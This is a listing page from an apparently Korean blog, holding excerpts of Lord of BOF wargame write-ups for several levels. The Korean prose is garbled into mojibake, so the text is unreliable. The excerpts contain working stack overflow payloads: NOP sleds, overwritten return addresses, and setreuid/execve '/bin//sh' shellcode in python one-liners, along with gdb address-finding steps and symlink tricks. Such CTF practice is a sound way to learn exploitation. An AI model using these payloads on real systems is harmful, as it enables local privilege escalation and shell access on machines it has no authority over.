728x90 ๋ฐ์ํ LOB9 LOB troll -> vampire ๋จผ์ ์์ค๋ฅผ ๋ณด๋ฉด ์์ด๋ ๋ค๋ฅธ ์ ์ ๋ง์ด ๋ณผ์ ์๋ค. ๋ฌด์๋ณด๋ค ์ฃผ์๊ฐ์ด 0xbfffxxxx ๊ฐ ๋ ์ ์๋ ์ ์ด๋ค.์ด๊ฒ ๋ฌด์ ์ด ๋ฌธ์ ์ผ๊น? ์ง๊ธ ๊น์ง ํ์ด์จ ๋ฌธ์ ์ ์ฃผ์๊ฐ๋ค์ ํ์ธ ํ๋ฉด ์ ๋ถ๋ค bfff์ธ๊ฒ์ ํ์ธ ํ ์ ์๋ค. ๋ ํ๊ฐ์ง ๋ฌ๋ผ์ง์ ์ ๊ธธ์ด ๊ฒ์ฌ๋ฅผ ํ์ง ์๋ ๋ค๋ ๊ฒ์ด๋ค. ์ด๋ฅผ ์ด์ฉํ์ฌ ์ฐํํ์ฌ ๋ณด์ gdb ๋ฅผ ๋ค์ด๊ฐ์ ๊ณต๊ฒฉ์ ํ๋๋ฐ ์ผ๋จ 100000์ด๋ผ๋ ํฐ์๋ฅผ ๋์ ํด์ฌ ์ฃผ์๊ฐ์ ํ์ธํด ๋ณผ๊ฒ์ด๋ค.์ด๋ ๊ฒ ๋ฐ๋๊ฒ์ ๋ณผ์ ์๋ค. ๋ํ bffe๋ผ๋ ๊ฒ๋ ํ์ธํ ์ ์๋ค. ์ด๋ก payload๋ฅผ์์ฑํด๋ณด์\x90*44(๋ฒํผ์ ๋๋ฏธ) ๊ทธ๋ฆฌ๊ณ ์ฃผ์๊ฐ + ๋ค์ \x90 100000 ๋์ฌ๋ ๋๋ฅผ ์ํ ๊ฐ + ์์ฝ๋ ์์ด ๋ฐ์ด๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. Wargame/CTF(Capture The Flag) 2015. 10. 15. LOB orge -> troll ๋จผ์ ์์ค๋ฅผ ํ์ธํด๋ณด์!์ธ์๋ 2๊ฐ๋ฅผ ๋์์ ์๊ณ argv[1]์ 48์ ๋ํ memset์ผ๋ก ์ด๊ธฐํ๊ฐ ๋๋ค. ๊ทธ๋ผ ์ผ๋จ ์๊ฐ์ ํด๋ณด๋ฉด ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ผ์ด๋ฆ ๋๋ฌธ์ argv[0]์ ๋จน๊ณ ๊ฐ๋ค. ๊ทธ๋ฌ๋ฏ๋ก ์๊ฐ์ ํด์ผํ๋๋ฐ;;; ํ์ผ์ด๋ฆ์ ์ฌ๋ณผ๋ฆญ๋งํฌ๋ฅผ ์ด์ฉํด์ ์์ฝ๋๋ฅผ ๋ฑ๋ก ํ๋ฉด ์ด๋จ๊น? ์ ์๋ 48๋ฐ์ดํธ๋ฅผ ์์ฝ๋๋ฅผ ์ฌ์ฉํ์๋ค. ์ด์ ๋ \x2f ์ฆ / ๊ฐ์์ผ๋ฉด ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๋ง๋ค์ ์๊ธฐ ๋๋ฌธ์ด๋ค. ์ด๋ ๊ฒ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฑธ๊ณ ๋ํ gdb ๋ฅผ ์ด์ฉํด ๋ค์ด๊ฐ์ ๊ณต๊ฒฉ์ ํ๊ณ ์ฃผ์๊ฐ์ด ๋ค๋ฎ์ธ ๊ฒ์ ํ์ธ ํด๋ณด๊ณ ์ฃผ์๊ฐ์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉ์ ํ๋ค. ๋ฌผ๋ก ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ์ด์ฉํ๋ค. ๊ทธ๋ ๊ฒ ๋๋ฉด coreํ์ผ์ด ๋ง๋ค์ด ์ง๋๋ฐ ์ด๋ฅผ ์ด์ฉํ์ฌ ์ง์ง ์ฃผ์๊ฐ์ ๊ตฌํด๋ณผ ๊ป๋ฐ core๋ฅผ gdb ๋ก ํ์ธ ํ๊ณ x/700s $esp๋ฅผ ํ๋ค๋ณด๋ฉด ์ด.. Wargame/CTF(Capture The Flag) 2015. 10. 15. LOB orge ์ฝ๋๋ฅผ ์ด์ด๋ณด๋ฉด argv[0]=file์ด๋ฆ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก ํ์ผ์ด๋ฆ์ 77byte๋ฅผ ๋ง์ถฐ์ฃผ๊ธฐ ์ํด ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฑธ์ด์ค๋ค. ./๊น์ง ํฌํจํ๋ฏ๋ก 75๋ฅผ ํ๋ค.๋๋จธ์ง๋ ๋์ผ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(์ฌ๋ณผ๋ฆญ ๋งํฌ) $(python -c 'print "\x90"*40+"AAAA"+"\x9c\xfb\xff\xbf(์ฃผ์๊ฐ)"') $(python -c 'print "\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\.. Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB darklf ์์ค๋ฅผ ์ด์ด๋ณด๋ฉด ์ผ๋จ ์ ๋ฌธ์ ๋ ๋น์ทํ๋ฐ ๊ธธ์ด๋ฅผ ์ฒดํฌํ๋ค.์ฒซ๋ฒ์งธ์ธ์ ๊ฐ์ ๊ธธ์ด๋ฅผ ํ์ธํ์ฌ 48๊ธ์๋ณด๋ค ํฌ๋ฉด ๋์๋ฒ๋ฆฌ๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค. ์ผ๋จ ์๊ณผ ๋๊ฐ์ด ์งํํ๊ณ payload๋ฅผ ์์ฑ๋ ./darkelf $(python -c 'print "\x90"*40+"AAAA"+"\xcc\xfb\xff\xbf"') Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB wolfman ๋ค์ ๋ฌธ์ ๋ฅผ ํ๋ฉด ๋๋ฅ ์ ๋ฌธ์ ๋ ๋๊ฐ์ ํจํด์ด๋ค. ./wolfman $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xec\xfb\xff\xbf"(์ฃผ์๊ฐ)+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB orc cp๋ช ๋ น์ด ๊ฐ์ ๊ฑด ๋ฌด์ํ๊ณ ๋ค์ ์ ์์ ํ์ฌ ๋ฌธ์ ๋ฅผ ํ๋ฉด orc.c๋ฅผ ์ด์ด๋ณด๋ฉด buffer๊ฐ 40์ด๊ณ ๋ฆฌํด๊ฐ์ด \xbf๊ฐ ๊ผญ ๋ค์ด๊ฐ์ผ ํ๋ค๊ณ ๋์จ๋ค. gdb๋ฅผ ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ๋ฉ์ธ์ ๋ธ๋ ์ดํฌํฌ์ธํธ๋ฅผ ๊ฑธ๊ณ r $(python -c 'print "\x90"*100์ ์ ๋ ฅํ์ฌ esp๊ฐ์ ๋ฐ๊พธ์๋ค.๊ทธํ x/100 $esp๋ก ๊ฐ์ ํ์ธํ๋ฉด 90909090๋ค์ด๊ฐ ์๋ ์ฃผ์๋ฅผ ๋ณผ์ ์๋ค. payload๋ฅผ ์์ฑํด๋ณด๋ฉด ./orc $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xdb\xfb\xff\xbf(ret ์ฃผ์๊ฐ)"+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68.. Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB goblin ์ ์์ ํ๊ณ (cp ๊ฐ์ ๊ฒ์ ๋ฌด์ํ๊ฒ ์ต๋๋ค) ์์ค๋ฅผ ํ์ธ ํ๋ฉด ์ด๋ฒ์ ๋ํ buffer๊ฐ 16์ธ๊ฒ์ ํ์ธ ํ ์์๋ค.๋จผ์ vi ๋ฅผ ์ด์ฉํ์ฌ ํ๋ก๊ทธ๋๋ฐ GOGO!! ์์๊ฐ์ด #include #include int main(int argc, char *argv[]){long shell;shell = system ์ฃผ์๊ฐ;๋๋จธ์ง๋ ๋์ผ ํ๊ฒ ํ๋ก๊ทธ๋๋ฐ์ ํ๊ณ gcc๋ฅผ ์ด์ฉํด ์ปดํ์ผ์ ํ๋ค. ์ด์ system ์ฃผ์๊ฐ์ ๋ณด๊ธฐ์ํด gdb๋ฅผ ์ด์ฉํด ๋ค์ด๊ฐํ b main๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ๋ฉ์ธ์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑด๋ค.๊ทธํ p system์ด๋ผ๋ ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ system ์ฃผ์๊ฐ์ ํ์ธํ๋ค.(ํ๋ก๊ทธ๋๋ฐํ ๋ ์ ๋ ฅํด์ผํจ) ์ด์ payload๋ฅผ ์ง๋ณด๋ฉด (python -c 'print "\x90"*20+"AAAAA(ebp+8.. Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB gremlin gate์ ๋ง์ฐฌ๊ฐ์ง๋ก cp๋ช ๋ น์ด๋ฅผ ์คํํ์ฌ ํ์ผ์ ๋ณต์ฌํ๋ค. ๊ทธํ gremlin.c๋ฅผ ์ด์ด ๋ณด๋ฉด 16์ด๋ผ๋ buffer๋ก small buffer๋ผ๋ ๊ฒ์ ์์ ์๋ค.๊ทธํ gdb๋ฅผ ์ด์ฉํ์ฌ ๋ณด๋ฉด sub 0x10์ ๊ฐ์ ํ์ธํด๋ณด๋ฉด 16์ด๋ผ๋ ๊ฒ์ผ๋ก dummy ๊ฐ์ด ์๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค. 16๋ฐ์ดํธ๋ฅผ ํ๋ณดํ๋ ๊ฒ์ผ๋ก ๋ณด์ด๋ฏ๋ก main+3์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑด๋ค. ๊ทธ๋ฆฌ๊ณ ํ๋ก๊ทธ๋จ ์คํ ๋์์ ์ธ์๊ฐ ์ ๋ฌ๋๋ฏ๋ก argv[2]์ ์์น๋ฅผ ์์๋ณด๊ธฐ์ํด $(python -c 'print "\x90(buffer+sfp๊ฐ)"*20+"BBBB(ret์ ๋ฎ์ด์จ์ผํ ์ฃผ์ ๊ฐ๋ค์ด๊ฐ ์์น"') $(python -c 'print "A"*241"")์ ๋ฃ๋๋ค 0x42424242๊ฐ ret์์น๋ก ๋ฎ์ด์จ์ผํ๋ฏ๋ก ๋์ถฉ 414141414.. Wargame/CTF(Capture The Flag) 2015. 9. 14. LOB gate LOB gate๋ก ์ ์์ ํ๋ฉด gate์ gate๋ก ์ ์๊ฐ๋ฅํ๋ค. ์ ์ํ ํ์ธ ํ๋ฉด ํ์ผ์ด 3๊ฐ์๋ ๊ฒ์ด ํ์ธ๊ฐ๋ฅ ํ๋ค ๋จผ์ cp ๋ช ๋ น์ ์ด์ฉํ์ฌ gremlin์ ๊ถํ์ด ์์ด gdb ๋ ๋ชปํ๋ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ !cp๋ช ๋ น์ด๋ ํ์ผ์ ๋ณต์ฌํ๋ ๋ช ๋ น์ด์ด๋ค. ํ์ผ์ ๋ณต์ฌํ๊ณ gremlin.c ๋ฅผ ์ด์ด๋ณด๋ฉด strcpy์์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ๋ณผ์ ์๋ค.ํ์ด๋ก๋๋ฅผ ์๊ฐ ํด๋ณด๋ฉด ์ผ๋จ buffer 260(256+sfp)+shellcode+ret์ฃผ์(buffer์ฃผ์)๋ฅผ ๋ฃ์ด์ผํ๋ค. gdb๋ก ํ์ธ์ ํด๋ณด๋ฉด strcpy๋ค์์์ ์ผ์ด๋๋ b *main+59์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑธ๊ณ r $(python -c 'print "\x90"*200(์์์ ๊ฐ)')์ ๋ฃ๊ณ x/100x $esp ๋ก esp๊ฐ์ ํ์ธ ํ๋ฉด 0x9090909.. Wargame/CTF(Capture The Flag) 2015. 9. 14. ์ด์ 1 ๋ค์ 728x90 ๋ฐ์ํ